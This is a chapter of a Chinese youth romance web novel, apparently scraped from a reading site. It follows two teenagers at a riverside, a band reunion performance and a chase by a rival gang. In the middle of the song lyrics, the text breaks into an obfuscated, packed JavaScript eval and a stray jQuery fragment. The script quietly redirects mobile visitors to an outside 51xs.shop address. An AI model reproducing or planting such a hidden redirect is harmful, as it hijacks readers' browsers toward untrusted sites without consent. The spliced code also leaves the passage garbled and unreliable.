2. 江边
    一路驶到江边,江边大桥横跨江面,粼粼水波被霓虹灯光点亮。

    小电驴被停在南口处。

    贺初衍随手捞过前篮里的黑色书包。

    池半夏看了眼:“里面没什么。”

    意思是放在篮子里就行。

    贺初衍偏头瞥了她一眼,把书包单肩背在身后,自顾自迈开长腿。

    养尊处优的大少爷想背包,还能拦着吗?

    池半夏反正不用自己背,懒得管他。

    把脖子上的金牌塞到贺初衍手里。

    他们沿着石质阶梯下去。

    晚风吹到身上,混着几分淡淡清凉。

    贺初衍走得慢,池半夏加快几个小步,就跟他并肩上了。

    滋啦——

    池半夏还在看江边夜景,她耳尖,瞬间捕捉到这轻微隐约的动静。

    转头就看到,贺初衍从她的书包里拿出个礼品袋。

    真不知道这人什么时候塞进去的。

    贺初衍朝她递过来。

    池半夏接到手里。

    打开礼品袋,发现里面真的是瑞士军刀,做成mp3造型,木桐色的复古工艺。

    话里带着无语:“还真是瑞士军刀。”

    贺初衍:“骗你做什么。”

    “多好的刀,适合防狼。”

    池半夏冷笑:“刚好用来防你。”

    贺初衍说:“这瑞士军刀可是我千里迢迢托运回来的,为了顺利取到,还耽误了我十分钟。”

    “大小姐,你这样是不是太没良心?”

    池半夏从善如流地接话:“少爷您放心,为了你这感天动地惊心动魄的十分钟,我一定用来好好防您,绝对不辜负您的良苦用心。”

    贺初衍冷嗤一声。

    池半夏本想乘胜追击,突然发现礼品袋拿在手里,还有不少的重量,明显不是空袋。

    她刚刚被瑞士军刀吸引了所有注意力,这会才看到里面的隔层。

    竟然被她翻出盒手工巧克力。

    “哎呀,贺大少爷,怪不好意思的,送惊喜还藏着掖着。”

    池半夏不客气地当面拆开。

    却在看清眼前的珍稀物种后,唇角扬起的弧度僵住。

    眼前这盒白巧克力,风格相当的后现代主义,应该不能再称之为巧克力这种地球上普通的物种了。

    每一颗都长得奇形怪状,说它们歪瓜裂枣,都对不起这外星变异的奇观长相。

    池半夏组织了下语言:“变异物种大逃杀?”

    贺初衍说:“不然做得太漂亮,被你倒打一耙,说我拿买的骗你,那我多冤枉。

    实在是有歪理到丧心病狂。

    池半夏拿了颗酷似名画《呐喊》的奇行种,咬得作响,那架势像是嚼碎某人的脑袋。

    越往里走,聒噪的音乐声响越发震耳欲聋。

    不像是江边,反倒让人误以为闯入大型露天蹦迪现场。

    池半夏微皱眉头,忍受了一路。

    在一串本人自认为听起来极为响亮牛逼,但凡有一点鉴赏水平,都难以欣赏的乌七八糟的噪音下,烦躁在此时到了极点。

    这架子鼓敲的是什么,丝毫鼓点的美感都没有了。

    忍不住嘟囔:“这都什么鬼哭狼嚎。”

    贺初衍压根懒得投去半分视线:“只能说,敲的想法很大胆。”

    池半夏撇了撇嘴,加快脚步,还不忘吃着手里的巧克力。

    一吃就是大半盒。

    没想到这些奇行种卖相不怎么样,吃起来这么上瘾。

    池半夏嗓音含糊道:“唔,味道还不错,我还以为你是想毒死我。”

    贺初衍口吻淡淡:“据我所知,巧克力中的可可碱和咖啡因,对狗来说是剧毒。”*

    池半夏说:“我怎么觉得你这话里有话。”

    “有么。”贺初衍说,“我只是在陈述事实。”

    “贺初衍——”

    池半夏猝不及防转身,高扬起手臂。

    却被轻而易举捉住手腕。

    贺初衍仗着身高压制,微挑了下眉毛。

    简直八分看轻,十分挑衅。

    池半夏心想退一步,越想越吃亏,深知打蛇打七寸,收拾某人要来戳心口的。

    于是一跺脚,准确无误地踩到了球鞋上面。

    贺大少爷顿时揪起眉头,低头看了眼对方的“杰作”。

    抬眼:“池半夏,你今晚别想睡了。”

    池半夏回看:“我为什么要听你的?”

    贺初衍微扯唇角,格外皮笑肉不笑的:“因为我要按着你,一点点把我的球鞋洗干净。”

    “我可以督促你。”池半夏仰着头,露出漂亮无害的笑容,“毕竟我帮你吃掉了你不能吃的食物。”

    “赶紧松开你的狗爪。”

    贺初衍自然没松劲:“怎么?踩完鞋就想跑。”

    “这世上哪有这么好的事?”

    “时间快到了,先别甜甜蜜蜜了。”

    “感情还这么好呢。”

    突如其来的声音从身后传来。

    “谁跟他感情好——”

    池半夏转头反驳,却对上两张的熟悉面容。

    眼前站着个瘦高个,戴着副银质眼镜,一身黑白格子衬衫,几分斯文气,乍一眼看去,显得有些内敛呆板。

    旁边站着的男生稍矮,满头杂乱的招牌黄毛,早就被染回了黑色顺毛,一张娃娃脸圆润不少。

    池半夏眼眸缓缓眨了两下,继而涌出惊喜。

    “大黄!眼镜儿!”

    转过头,看着贺初衍,满眼好狗不挡道,还不快松手。

    贺初衍唇角一扯,总算松手。

    池半夏揉了揉手腕,在灯光下,依稀看到白皙腕间泛起的红印。

    “什么狗劲……”

    贺初衍:“装什么池黛玉。”

    池半夏懒得搭腔,而是熟稔地拍了拍黄毅宗的臂膀:“大黄,你最近伙食不错,都发福了。”

    黄毅宗忍不住唇角抽搐:“仙女,这么久没见,你这嘴还跟抹了蜜似的。”

    “淬了毒还差不多。”

    身后再次传来某位贺姓大少爷的吐槽。

    徐宥揽住贺初衍的肩膀:“大少爷莫说仙女,照哥们我看,你这嘴怕是要荣登‘群众最希望被捐的一张嘴’排行榜的榜首。”

    黄毅宗附和:“臣附议,一万两千颗心都在附议。”

    池半夏得意:“看看吧,群众的眼睛是雪亮的。”

    贺初衍懒懒甩开徐宥的手臂,一个利落跨步,站上提前搭好的台面。

    眼前是一方露天舞台,被霓虹灯光照亮的夜空铺就深远幕布。

    黄毅宗和徐宥跟着跨上去。

    三人在舞台上站定。

    黄毅宗侧头:“少爷,灯光这边要就绪吗?”

    贺初衍反问:“还用问我?”

    “我靠,少爷你不b真是活不下去。”

    贺初衍喉结上下滚了下,溢出一声混笑。

    “欠的是吧?”

    黄毅宗反倒乐了:“我怎么听少爷骂人这么带劲。”

    “卧槽,我是不是有点不正常?”

    贺初衍丝毫不客气:“受虐倾向别太严重。”

    池半夏满脸一言难尽,冲台上说:“没救了,年纪轻轻就瞎了。”

    黄毅宗:“……”

    不是,他就是觉得少爷带劲而已。

    怎么一个个用看绝症患者的悲痛目光看着他。

    唯一被迫稳重的徐宥,无奈摇了摇头:“大黄,开灯!”

    “哦哦,来了!”黄毅宗朝着台下的池半夏惊喜预告,“仙女,等着看惊喜!”

    然后弯腰,任劳任怨地打开开关。

    最先亮起的是,被做成火红架子鼓造型的灯牌,高高悬挂在半空。

    勾勒出三道并肩而立的人影。

    池半夏站在台下。

    晚风轻扬过乌黑发丝,她突然想到自己已经快三年没碰过架子鼓了。

    随着一盏盏顶灯亮起,点亮舞台中央那道瘦削身形,贺初衍斜挎着把黑金电吉他,侧脸张扬又耀眼。

    徐宥身前挂着闷骚紫的贝斯,黄毅宗站在绘满黑白动漫涂鸦的键盘前。

    伴奏渐起,响亮好听的口哨声响起。

    像是夺目流星划破夜空。

    贺初衍开嗓。

    Don'tletyourheadhanglow

    (不要将头深深低垂)

    You'veseenthedarkestskiesIknow

    (我知道你曾看见过黯淡夜空)

    Letyourheartrunchildlikehorsesinthewild

    (女孩,敞开心扉,驰奔旷野)*

    是他们三年前曾参赛的歌曲。

    池半夏无法将视线从眼前夺目的一幕移开。

    响起鼓点的瞬间,池半夏听出来这是自己那时录下的架子鼓solo。

    久违的熟悉感满溢心间。

    不打不相识、不曾被谁看好,甚至被取笑是“一个猴子,一个眼镜,一个花瓶,一个小学生”的四人组合。

    构成三年前那个疯狂肆意的乐队。

    过去和此时在眼前重合。

    将她扯回到那个无尽烈夏的漩涡中。

    直到最后一段清唱传来,少年独有的清朗嗓音,带着几分变声期的沉。

    仿若流星渐明渐暗的拖曳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634138|143697||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    痕迹。

    Thesunitglowslikegold

    (看这烈阳如金,熠熠生辉)

    Feelingwarmasaburningcoal

    (骄阳似火)

    Letyoursoulshinebrightlikediamondsinthesky

    (你心闪耀,璀璨当空)

    Sotakemyhandandhomewe'llgo

    (牵着我的手,我们一起回家)*

    满目耀眼镭射灯光下,少年一把电吉他,汗珠滚落锋利喉结,朝台下扔拨片,燃烧起夏夜烈焰。

    他说:“献给我认识的最勇敢的女孩。”

    台上台下,目光对视。

    滚烫蝉鸣般的心跳响起。

    池半夏来不及感动一秒,就被身边杀鸡般的尖叫声,险些刺穿本就脆弱的耳膜。

    咬牙忍住没能打转的眼泪,顿时吓了回去。

    转头,正对上旁边女生眼里激动的小目光。

    是个漂亮很会打扮的女生。

    “真的好帅!”

    女生凑得很近,很自来熟地跟她搭话:“关键是唱歌好好听,弹的也好。”

    “比那群不懂装懂的好多了,不知道敲的什么架子鼓,说是给我庆生,我还以为他要在我坟头蹦迪呢,在那里待着简直是精神折磨。”

    池半夏从她抱怨话语里,总算得知那惨绝人寰的噪音污染,究竟是从何而来。

    整个场地的尖叫声在蒸腾、盘旋,如屠宰场般冷酷无情。

    这年头的化学攻击,属实可怕。

    也到了此时,池半夏才发现身旁围满了不少人。

    不知道什么时候被吸引过来的。

    “让开让开!”

    “听到没,快他妈都让开!”

    来势汹汹的嗓音响起,在人堆里破开一条道路。

    打头的是一个满头杂乱的黄毛,脖子上一串银色大铁链,骷髅衫破洞裤,特别有八九十年代迪斯科风范。

    身后跟着七八个不良少年。

    紧紧跟在旁边的小弟嚷着嗓子,仰着鼻孔看人:“不知道我们老大,今晚在江边摆了场子,要给女神庆生?你们知道是惹到谁了吗?”

    黄毅宗顿时听乐了,他早几年刺头惯了,自认黄毛破洞裤都是他玩剩下的,完全看热闹不嫌事大:“少爷,这是来找你茬的,这你能忍?”

    贺初衍唇角微扯:“这都谁?”

    徐宥仔细瞧了瞧:“哦,旁边职高的,打头的是老大。”

    “管他老大还是金毛狮王。”黄毅宗继续拱火道,“少爷你搞砸别人的浪漫计划,别人来找你算账咯。”

    贺初衍:“关我什么事。”

    黄毅宗:“你没听到场下的尖叫,要多疯有多疯,风头都被你占了,不高兴了咯!”

    黄毛嘴角止不住抽搐,来算账,结果这俩人当面聊上了不算,还一唱一和的阴阳怪气。

    面子挂不住,脸都彻底黑了。

    贺初衍随手把电吉他一抛。

    旁边的黄毅宗稳稳接住。

    贺初衍长腿一跨,大马金刀地踩着舞台边凸起的阻障。

    朝台下微扬下巴,一股睥睨的劲:“怎么着,这是想砸场子?”

    整个人张狂嚣张得不行。

    Bking人设不倒。

    这架势够足,底下一群人被唬住,一时都没有反应过来。

    一片沉默中,贺大少爷懒懒开腔:“急什么,江湖有江湖的规矩,彻底些好,腿在这里又跑不掉。”

    池半夏听到“怎么着,这是想砸场子”后,就默默往人群外退。

    贺初衍的藏头暗号很明显。

    ——即将撤退。

    音响被长腿踢倒,发出轰鸣刺耳的动静。

    贺初衍左掌撑住台面,一个利落斜跨,从高台斜翻而下。

    另外两人各一个推车,朝着不同方向跑走。

    黄毅宗边跑,还不忘回头叮嘱:“台是租借的,损坏要被抓去陪警察叔叔喝茶的!不信就大可试试,前几天刚被逮进去几个!”

    一切发生在电闪火石之间。

    黄毛这会才明白刚刚是缓兵之计,气急败坏:“都还看什么!看空气是吧!”

    “都他妈给我追!”

    此时蹁跹衣角飞掠过眼前。

    手腕被握住。

    池半夏被带着往前跑,扬声问:“你不是挺行的,怎么不以一挑十?

    贺初衍回头哼笑,眉目恣性意气:“大小姐,傻子才会迎难而上,聪明人早就学会躺下。”

    人声鼎沸,风声在耳畔呼腾。

    此刻仿若一场逃离夜色的狂奔。